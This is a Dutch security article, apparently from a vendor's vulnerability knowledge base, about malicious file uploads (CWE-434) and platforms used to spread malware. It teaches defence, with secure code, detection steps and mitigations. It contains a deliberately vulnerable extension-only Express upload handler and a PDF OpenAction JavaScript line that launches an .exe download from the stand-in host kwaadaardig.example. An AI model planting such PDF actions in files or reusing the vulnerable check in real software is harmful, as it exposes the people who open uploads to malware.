Uploaden van schadelijke bestanden mogelijk
CWE-434CWE-646OWASP A04:2021Bijgewerkt 3 september 20265 min leestijd
Een uploadfunctie waarmee bestanden worden gedeeld of later door medewerkers worden geopend, kan worden gebruikt om malware te verspreiden. De server zelf loopt geen risico, maar uw platform wordt het transportmiddel en uw domeinnaam levert de geloofwaardigheid. Een PDF met een ingebedde actie is daarbij het meest gebruikte vehikel.
Bij een uploadfunctie gaat de aandacht meestal naar de vraag of er iets op de server kan worden uitgevoerd. Er is een tweede risico dat losstaat van uw infrastructuur: uw platform kan worden gebruikt om schadelijke bestanden te verspreiden, waarbij uw domeinnaam de rol van betrouwbare afzender speelt. Dit artikel behandelt hoe dat verloopt en wat u eraan doet.
Wat is het risico van geüploade bestanden?
Van het uploaden van schadelijke bestanden spreken we wanneer een applicatie bestanden accepteert die later door mensen worden geopend, zonder dat de inhoud daarvan wordt beoordeeld. De server zelf voert niets uit; het bestand wordt keurig opgeslagen en keurig teruggegeven. Het risico ligt bij de ontvanger.
Deze bevinding verschilt daarmee wezenlijk van een onbeperkte bestandsupload die tot code-uitvoering leidt. Daar is uw server het doelwit. Hier is uw applicatie het transportmiddel, en de schade valt bij uw medewerkers, uw klanten of bij derden.
Het verschil is te vergelijken met een postbedrijf. Het ene risico is dat er iets in het sorteercentrum ontploft; het andere is dat het pakket keurig wordt bezorgd en pas bij de ontvanger opengaat. In het tweede geval mankeert er niets aan uw proces, behalve dat u niet hebt gekeken wat u vervoerde.
Hoe verloopt zo’n besmetting?
Kwetsbaar:
// Alleen de extensie wordt gecontroleerd; de inhoud niet
const TOEGESTAAN = ['.pdf', '.docx', '.xlsx'];
app.post('/aanvraag/bijlage', upload.single('bestand'), async (req, res) => {
const ext = path.extname(req.file.originalname).toLowerCase();
if (!TOEGESTAAN.includes(ext)) return res.status(400).send('Type niet toegestaan');
await bijlagen.bewaar({
naam: req.file.originalname,
pad: req.file.path,
aanvraag: req.body.aanvraagId,
});
res.send('Bijlage toegevoegd');
});
De extensie klopt en het bestand is inderdaad een PDF. Alleen bevat die PDF een ingebedde actie:
/OpenAction << /S /JavaScript /JS (
app.launchURL("https://kwaadaardig.example/factuur-2026.exe", true);
) >>
Dit is een geldig PDF-bestand dat elke controle op extensie en op het werkelijke bestandstype doorstaat. Wanneer een medewerker de bijlage opent om de aanvraag te beoordelen, probeert de lezer de actie uit te voeren. Afhankelijk van de lezer en de instellingen verschijnt er een waarschuwing, maar het gaat om een bijlage uit uw eigen systeem, bij een aanvraag die de medewerker zelf in behandeling heeft. Dat is een aanzienlijk gunstiger uitgangspositie dan een bijlage bij een e-mail van een onbekende.
Veilig:
app.post('/aanvraag/bijlage', upload.single('bestand'), async (req, res) => {
const type = await bepaalTypeUitInhoud(req.file.path);
if (!['application/pdf'].includes(type?.mime)) {
await fs.promises.unlink(req.file.path);
return res.status(400).send('Alleen PDF-bestanden');
}
const scan = await virusscanner.controleer(req.file.path);
if (!scan.schoon) {
await fs.promises.unlink(req.file.path);
await meldingen.stuur('verdachte upload', { gebruiker: req.gebruiker.id });
return res.status(400).send('Bestand geweigerd');
}
// Opnieuw genereren: ingebedde acties en scripts overleven dit niet
const naam = `${randomUUID()}.pdf`;
await pdfOpschonen(req.file.path, `/var/opslag/${naam}`);
await fs.promises.unlink(req.file.path);
await bijlagen.bewaar({
id: naam,
weergavenaam: schoonNaam(req.file.originalname),
aanvraag: req.body.aanvraagId,
geuploadDoor: req.gebruiker.id,
});
res.json({ ok: true });
});
Er zitten drie lagen in die elkaar aanvullen. Het type wordt bepaald uit de inhoud in plaats van uit de naam. Er wordt gescand op bekende schadelijke inhoud. Ook het bestand wordt opnieuw gegenereerd, waarmee ingebedde acties en scripts verdwijnen ongeacht of de scanner ze herkende, dat is de maatregel die ook tegen onbekende varianten werkt.
factuur.exe er in een overzicht uitziet als een PDF. Toon een opgeschoonde naam en bewaar het bestand onder een zelf gegenereerde identificatie.Wat is de impact van het uploaden van schadelijke bestanden?
De ernst loopt van middelzwaar tot hoog, en die hangt af van wie de bestanden opent en met welke rechten. De schade valt buiten uw applicatie, wat de bevinding niet lichter maakt maar wel lastiger te herkennen.
De meest waarschijnlijke route treft uw eigen organisatie. Uploads worden beoordeeld door medewerkers: een aanvraag met bijlage, een sollicitatie met cv, een schadeclaim met foto’s. Die medewerkers openen dagelijks tientallen van die bestanden en beschouwen ze als onderdeel van hun werk. Slaagt een bestand daar, dan zit de aanvaller op een werkstation binnen uw netwerk, met de rechten van iemand die toegang heeft tot uw klantsystemen.
De tweede route treft derden. Bestanden die door anderen kunnen worden opgehaald, maken van uw platform een distributiekanaal, met uw domeinnaam en uw certificaat als bewijs van betrouwbaarheid. Dat is een reputatierisico en kan ertoe leiden dat uw domein bij beveiligingsleveranciers als schadelijk wordt aangemerkt, met gevolgen voor uw legitieme verkeer.
Hoe spoor je het uploaden van schadelijke bestanden op?
Een tester probeert eerst waarop de acceptatie berust: op de extensie, op het opgegeven content-type of op de werkelijke inhoud. Dat wordt bepaald door een bestand aan te bieden waarvan die drie niet met elkaar overeenkomen.
Vervolgens wordt gekeken of de inhoud wordt beoordeeld. Daarvoor wordt een onschadelijk testbestand gebruikt dat door elke scanner wordt herkend; komt dat ongehinderd door, dan wordt er niet gescand. Ook wordt getoetst of bestanden opnieuw worden gegenereerd: een PDF met een ingebedde actie die er na de upload nog in zit, laat zien dat het origineel bewaard blijft. Verder wordt gekeken hoe de bestandsnaam wordt weergegeven, of er een grens staat op de bestandsgrootte, en of de bestanden vanaf hetzelfde domein worden uitgeleverd. AssistSec beoordeelt daarbij het volledige proces, inclusief wie de bestanden uiteindelijk opent, omdat daar bepaald wordt hoe zwaar deze bevinding weegt.
Hoe voorkom je het uploaden van schadelijke bestanden?
- Bepaal het bestandstype uit de werkelijke inhoud en niet uit de extensie of het opgegeven type.
- Scan uploads met een virusscanner, als aanvullende laag en niet als enige maatregel.
- Genereer bestanden opnieuw waar dat kan: herschaal afbeeldingen en schoon PDF-bestanden op.
- Sla bestanden op onder een zelf gegenereerde naam en toon een opgeschoonde weergavenaam.
- Lever bestanden uit met
Content-Disposition: attachmenten vanaf een apart domein. - Beperk de bestandsgrootte en het aantal uploads per gebruiker.
- Leg vast wie welk bestand heeft geüpload, zodat misbruik herleidbaar is.
- Waarschuw medewerkers dat bijlagen uit uw eigen systeem niet automatisch betrouwbaar zijn.
- Open uploads bij voorkeur in een afgeschermde weergave in plaats van in een lokale toepassing.
Bronnen
Veelgestelde vragen
Is dit mijn probleem als het bestand elders wordt geopend?
Ja. U levert het bestand af en uw domeinnaam geeft het de geloofwaardigheid die de aanval effectief maakt. Bovendien treft het vaak uw eigen medewerkers, die uploads beoordelen als onderdeel van hun werk en daarbij minder argwaan hebben dan bij een bijlage van buiten.
Waarom zijn PDF-bestanden zo geschikt?
Omdat ze als veilig gelden en overal worden geopend. Het formaat ondersteunt ingebedde JavaScript, automatisch startende acties en links, en veel lezers voeren daar iets mee uit. Een PDF wekt geen argwaan, en dat is precies wat een aanvaller zoekt.
Is een virusscanner genoeg?
Nee, maar hij hoort er wel bij. Een scanner herkent bekende varianten en mist gerichte of nieuwe bestanden. Combineer hem met het opnieuw genereren van bestanden, met beperkingen op wat er mag worden geüpload, en met een aparte opslaglocatie.
Wat betekent het opnieuw genereren van een bestand?
Dat u de inhoud uitleest en er een nieuw bestand van maakt in plaats van het origineel te bewaren. Bij een afbeelding levert herschalen een schoon bestand op; bij een PDF kan een conversie de ingebedde acties verwijderen. Wat er ook in zat, het overleeft die stap niet.
Verwante artikelen
- KwetsbaarhedenCWE-434A04:2021Onbeperkte bestandsuploadEen uploadfunctie zonder restricties kan tot code-uitvoering op de server leiden. Lees welke controles nodig zijn en welke niet volstaan.
- KwetsbaarhedenCWE-20A04:2021Invoervalidatie ontbreekt op de serverValidatie die alleen in JavaScript gebeurt, is met één direct verzoek te omzeilen. Lees waarom de server elke waarde opnieuw moet controleren.
- KwetsbaarhedenCWE-430A05:2021MIME-sniffing niet uitgeschakeldZonder X-Content-Type-Options mag de browser zelf raden wat een bestand is. Lees hoe een geüploade afbeelding zo als script kan worden uitgevoerd.
- KwetsbaarhedenCWE-79A03:2021Cross-site scripting via bestandsuploadEen geüploade SVG of HTML die vanaf uw eigen domein wordt getoond, voert scriptcode uit binnen uw origin. Lees hoe u dat afsluit.